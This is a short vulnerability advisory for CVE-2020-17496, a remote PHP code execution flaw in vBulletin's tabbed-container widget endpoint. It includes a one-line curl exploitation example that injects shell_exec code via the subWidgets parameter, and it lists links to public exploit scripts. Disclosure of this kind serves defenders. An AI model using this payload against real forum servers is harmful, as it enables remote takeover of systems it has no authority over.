Code Injection in vBulletin - CVE-2020-17496
Published: August 11, 2020 / Updated: February 20, 2022
Vulnerability details
The vulnerability allows a remote attacker to execute arbitrary code on the target system.
The vulnerability exists due to improper input validation when processing untrused input passed via the "subWidgets[0][config][code]" HTTP parameter to "/ajax/render/widget_tabbedcontainer_tab_panel" URL. A remote attacker can send a specially crafted request and execute arbitrary PHP code on the target system.
Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.
Exploitation example:
curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("id"); exit;'
Affected software
How to mitigate CVE-2020-17496
Links to Public Exploits and PoC-codes
- Exploit #4576 - vBulletin_5.x-tab_panel-RCE ((CVE-2020-17496) vBulletin 5.x Widget_tabbedcontainer_tab_panel RCE Vuln Test script) (September 4, 2020)
- Exploit #4510 - CVE-2020-17496 () (August 21, 2020)
- Exploit #4493 - vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution. (August 12, 2020)